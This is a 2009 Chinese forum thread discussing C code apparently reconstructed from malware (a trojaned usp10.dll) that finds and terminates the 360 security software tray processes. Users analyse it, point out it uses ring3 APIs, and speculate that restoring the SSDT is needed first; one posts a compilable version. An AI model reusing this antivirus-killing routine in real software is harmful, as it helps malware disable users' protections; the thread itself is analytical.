鹭影依凌 发表于 2009-2-27 19:47

还原的usp10的KO360一段代码

voidZhKillsafeboxTrayAnd360tray()
{

        HANDLE hProcess;
        BOOL bKill360Already;
        HANDLE hProcessSnap;

        PROCESSENTRY32 pe;
   
        LPSTR szWindow;//全局变量

        bKill360Already = FALSE;
        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if ( hProcessSnap != INVALID_HANDLE_VALUE )
                return;

        pe.dwSize = 296;
       
        if (!Process32First(hProcessSnap, &pe))
                return;
       
        do
        {
                if ( !lstrcmpi(pe.szExeFile, "safeboxTray.exe") || !lstrcmpi(pe.szExeFile, "360Tray.exe") )
                {
                        hProcess = OpenProcess(1u, 0, pe.th32ProcessID);

                        if ( hProcess )
                                bKill360Already = TerminateProcess(hProcess, 0);
                        CloseHandle(hProcess);
                        Sleep(10);
                        MessageBoxA((HWND)0xFFFFFFFF, szWindow, szWindow, 0);
                }
        }
        while ( Process32Next(hProcessSnap, &pe) );
       
        CloseHandle(hProcessSnap);
}

Hmily 发表于 2009-2-27 21:35

这个发编程区吧:lol
最好来段分析~

iawen 发表于 2009-2-27 22:16

不知道“还原的usp10”是什么,不过代码还是看明白了,呵呵!

枚举所有激活的进程,如果程序名是“safeboxTray.exe”或者 "360Tray.exe",
则用OpenProcess获取进程句柄,并结束之!

----难道与360有不解之过结??

oh_lucifer 发表于 2009-2-28 01:20

terminnate能结束360????????????
.......................

这年头YY的人真是疯了...

oh_lucifer 发表于 2009-2-28 01:31

#include <windows.h>
#include <tlhelp32.h>


voidZhKillsafeboxTrayAnd360tray()
{

      HANDLE hProcess;
      BOOL bKill360Already;
      HANDLE hProcessSnap;

      PROCESSENTRY32 pe;
   
      LPSTR szWindow;//全局变量

      bKill360Already = FALSE;
      hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if ( hProcessSnap != INVALID_HANDLE_VALUE )
                return;

      pe.dwSize = 296;
      
      if (!Process32First(hProcessSnap, &pe))
                return;
      
      do
      {
                if ( !lstrcmpi(pe.szExeFile, "safeboxTray.exe") || !lstrcmpi(pe.szExeFile, "360Tray.exe") )
                {
                        hProcess = OpenProcess(1u, 0, pe.th32ProcessID);

                        if ( hProcess )
                              bKill360Already = TerminateProcess(hProcess, 0);
                        CloseHandle(hProcess);
                        Sleep(10);
                        MessageBoxA((HWND)0xFFFFFFFF, szWindow, szWindow, 0);
                }
      }
      while ( Process32Next(hProcessSnap, &pe) );
      
      CloseHandle(hProcessSnap);
}

int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
       ZhKillsafeboxTrayAnd360tray();

}




编译一个我看看....
这个方法 你K 那啥还行..
K 360 ......不成...

iawen 发表于 2009-2-28 13:47

这只是代码的一部分,可能是提权后再进行的后续动作!
我没试过,猜测,呵呵:lol

zapline 发表于 2009-2-28 14:15

应该这段不是很重要
重要的是恢复ssdt之类的部分吧

oh_lucifer 发表于 2009-2-28 17:41

提什么权啊?
你本身都是......ring3的API,好不好..
我囧死了..........

冷血书生 发表于 2009-2-28 17:52

路过,嗯,很好,不过看不懂!!!!!!

Hmily 发表于 2009-3-1 00:56

先恢复SSDT,再做后续工作~应该就没问题了~
页: [1] 2
查看完整版本: 还原的usp10的KO360一段代码